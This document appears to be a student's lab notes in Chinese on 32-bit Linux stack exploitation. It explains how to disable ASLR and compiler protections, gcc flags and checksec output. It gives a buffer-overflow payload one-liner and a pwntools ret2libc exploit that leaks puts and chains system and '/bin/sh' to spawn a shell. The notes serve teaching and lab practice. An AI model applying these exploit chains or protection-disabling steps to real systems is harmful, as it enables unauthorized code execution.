aslr设置
地址空间布局随机化,使每次加载到内存的起始地址随机变化,栈和堆的起始位置随机变化。
开启
sudo sysctl -w kernel.randomize_va_space=2
关闭
sudo sysctl -w kernel.randomize_va_space=0
make.sh文件
gcc -o vul -fno-pie -no-pie -m32 -fno-stack-protector vul.c
-o
用于指定要生成的结果文件,后跟文件名。(o是目标的意思)文件可以是预处理文件、汇编文件、目标文件或最终可执行文件-fno-pie
-no-pie
使程序位置固定(不要随机)- Position-Independent-Executable,PIE能使程序像共享库一样在主存任何位置装载,这需要将程序编译成位置无关,并链接为ELF共享对象,引入PIE的原因是让程序能装载在随机的地址。
- gcc中的-fpic选项,使用于在目标机支持时,编译共享库时使用。编译出的代码将通过全局偏移表(Global Offset Table)中的常数地址访存,动态装载器将在程序开始执行时解析GOT表项(注意,动态装载器操作系统的一部分,连接器是GCC的一部分).
- gcc中的
-fpie
和-fPIE
选项和fpic
及fPIC
很相似,但不同的是,除了生成为位置无关代码外,还能假定代码是属于本程序。通常这些选项会和GCC链接时的-pie选项一起使用。fPIE选项仅能在编译可执行码时用,不能用于编译库。所以,如果想要PIE的程序,需要你除了在gcc增加-fPIE
选项外,还需要在ld时增加-pie选项才能产生这种代码。即gcc -fpie -pie
来编译程序。单独使用哪一个都无法达到效果。 你可以使用file命令来查看当前的可执行文件是不是PIE的。
-m32
-mx32
在64位系统中,指针和long都是64位的,64位数据运算速度远远慢于32位数据,指针和long是32位既浪费了高4字节的空间,又拖累了运行速度,于是有人搞出了指针和long是32位的mx32
:你同样可以使用INT64这样的8字节数据,但编译出的程序体积更小,运行速度更快。-m32
:编译出来的是32位程序,既可以在32位操作系统运行,又可以在64位操作系统运行。-m16
,只有在32位的linux上才能使用,同样需要在编译内核时做设置,只有在32位内核中才有该选项,gcc同样也只有32位版本才支持。
-fno-stack-protector
不要栈溢出检测stack-protector
:保护函数中通过alloca()
分配缓存以及存在大于8字节的缓存。缺点是保护能力有限。
-
C语言源程序—预处理—>汇编程序—汇编—>二进制目标程序—链接—>可执行程序
-
1.预处理主要由预处理器完成。这一阶段一共完成4件事。
1)头文件的展开:将程序中所用的头文件用其内容来替换头文件名。
2)宏替换:扫描程序中的符号,将其 替换成宏所定义的内容。
3)去掉注释:去掉程序中的注释。
4)条件编译:在程序中难免会有文件的重复引用,如果每次引用都要重新调用文件中的内容,这样就会增加许多不必要的开销 。所以为了防止这种情况的发生,我们在文件中使用条件编译符号来防止这种情况的发生。
-
3.链接,就是将程序中出现的函数等,与其源文件进行“匹配连接”,例如实现标准输入输出就需要链接到库文件stdio.h中。因为在程序中我们只是调用这些函数,真正的实现还是在库文件中。
python -c 'print "A"*(0x28 + 4)+"\x10\x8e\xe2\xf7" + "dead" + "\x8f\x78\xf6\xf7" ' > e
(cat e ; cat) | ./vul
-
python -c
在命令行中执行python代码,-c
是command
的意思。- 因为后面必须接一个字符串,可以用
" "
来放字符串,但是这样如果指令的字符串里面有字符串就没办法了,所以一般用三引号'''print("hello")'''
来标识,其中可以换行和调用函数。
- 因为后面必须接一个字符串,可以用
-
> e
将生成的字符输入到文件e
中(没有后缀名,就是一些bytes),然后 -
cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。
-
cat [-AbeEnstTuv] [--help] [--version] fileName
-
-
管道触发两个子进程执行"|"两边的程序,左边的命令应该有标准输出 | 右边的命令应该接受标准输入
register void *ebp asm ("ebp");
在C语言中,register
关键字用于请求编译器将变量直接定义在寄存器中(编译器可能会根据实际情况忽略这个请求)。然而,这个功能在C++中是一个鸡肋,因此大多数C++不会针对register
关键字进行特殊优化。
char *shell = (char *) getenv("MYSHELL");
函数说明:getenv用来取得参数envvar环境变量的内容。参数envvar为环境变量的名称,如果该变量存在则会返回指向该内容的指针。环境变量的格式为envvar=value。getenv函数的返回值存储在一个全局二维数组里,当你再次使用getenv函数时不用担心会覆盖上次的调用结果。
返回值: 执行成功则返回指向该内容的指针,找不到符合的环境变量名称则返回NULL。如果变量存在但无关联值,它将运行成功并返回一个空字符串,即该字符的第一个字节是null。
-
先通过读汇编,从
libc.asm
中找到几个关键函数地址,libc中的函数地址都是偏移地址。offset_system = 0x0003ce10 #0003ce10 <__libc_system@@GLIBC_PRIVATE>: offset_str_bin_sh = 0x17b88f offset_exit = 0xbe295 #000be295 <_exit@@GLIBC_2.0>: offset_puts = 0x00067460 #00067460 <_IO_puts@@GLIBC_2.0>: main_addr = 0x08048534
这是从
libc
表中拿到的偏移地址,作为准备 -
通过读汇编 ,找到函数在
plt
代码模块中puts函数的绝对地址#python puts_plt = 0x08048370 puts_got = 0x804a018 #vul.asm 08048370 <puts@plt>: 8048370: ff 25 18 a0 04 08 jmp *0x804a018 8048376: 68 18 00 00 00 push $0x18 804837b: e9 b0 ff ff ff jmp 8048330 <.plt>
plt是代码,里面去call
got
里面的地址,也就是libc
中的函数地址,got
只是一个放地址的数据表。可以通过
readelf -S vul
找到 got 和 plt 的库的位置 -
把你获得的地址扔给buffer,把返回地址覆盖成库函数的地址
p = process(path) rop = p32(puts_plt)#fake ret rop += p32(main_addr)#puts的return addr rop += p32(puts_got)#arg for puts payload = "A"*(0x28 + 4) + rop + '\n' p.send(payload)
-
拿到返回的puts的绝对地址后,通过绝对和相对的差,算出需要的
system
binsh
exit
的绝对地址p.recvline()#ebp p.recvline()#buffer p.recvline()#ebp-buf p.recvline() leak = p.recv(4)#接受4个字节,也就是32bits puts_libc = u32(leak) log.info("puts@libc: 0x%x" % puts_libc) p.clean() # # Calculate the required libc functions libc_base = puts_libc - offset_puts system_addr = libc_base + offset_system binsh_addr = libc_base + offset_str_bin_sh exit_addr = libc_base + offset_exit
-
将栈中布局设置为3个连续的返回地址,因为在每一次进入那个函数的时候都会去自动找返回地址,所以每一个函数中都自带ret,就可以实现放几个地址进几个函数,最后回到最高的地址位。
rop2 = p32(system_addr) rop2 += p32(exit_addr) rop2 += p32(binsh_addr) payload2 = "A"*(0x28 + 4) + rop2 + '\n'
-
然后把这些东西都输出,你就拿到了所有地址
log.info("libc base: 0x%x" % libc_base) log.info("system@libc: 0x%x" % system_addr) log.info("binsh@libc: 0x%x" % binsh_addr) log.info("exit@libc: 0x%x" % exit_addr)
-
之后程序就会运行binsh
整个的流程就是main-vul-puts-main-vul-system-exit-binsh
程序会不断回到main,调用vul,被篡改返回地址,最后拿到binsh_addr的时候就可以跳出了。
https://baijiahao.baidu.com/s?id=1668554718579472983&wfr=spider&for=pc
利用libcSearcher的库去找位置,大概的使用方法如下。
from pwn import *
from LibcSearcher import *
context.log_level="debug"
p=process("./01_shellcodeAgain")
elf=ELF("./01_shellcodeAgain")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
log.info("puts_plt: 0x%x",puts_plt)
log.info("puts_got: 0x%x",puts_got)
#因为虚拟机我们没有权限所以没办法加代码包,所以这个用不了
#
因为虚拟机我们没有权限所以没办法加代码包,所以这个用不了。如果在自己的python环境下应该是可以的
关于lab2,如何将获取的字符串转为数值
字符编码和python使用encode,decode转换utf-8, gbk, gb2312 - jxzheng - 博客园 (cnblogs.com)
关于
1.checksec
是用来检查可执行文件属性的。
Arch:说明这个文件的属性是什么,说明是32位的程序。
Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。
RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
**NX(DEP)**即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。
**PIE(ASLR)**地址分布随机化。
python -c 妙用 - ChnMig - 博客园 (cnblogs.com)
(3条消息) gcc编译选项-o和-c介绍_chengqiuming的博客-CSDN博客_gcc-o
(3条消息) gcc编译-m32、-mx32有什么区别_Segment fault的博客-CSDN博客_-m32 g++
(3条消息) GCC中的pie和fpie选项_ivan240的博客-CSDN博客_gcc pie
(3条消息) 关于C文件预处理的理解_haitang_yue的博客-CSDN博客_预处理文件
gcc栈溢出保护机制:stack-protector - ArnoldLu - 博客园 (cnblogs.com)
(3条消息) pwn题解level(2)_颜又舞的博客-CSDN博客
关于p64和u64的(3条消息) Pwn入门笔记(三)函数细节_Wust-Mo0n5ea丶的博客-CSDN博客
64位的简单pwn - gudy - 博客园 (cnblogs.com)
常见bug:
unpacked 8bytes什么的 ,因为字符串(一位1byte,askii)没有转化为数字(一位1byte,数值)或者字节(一位1bit,数值)
解决方案:
leak = p.recv(12)
shelladdr=int(leak1,16)
关于64位传递参数
(3条消息) 通用gadget详解_轩渊的博客-CSDN博客_gadget
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。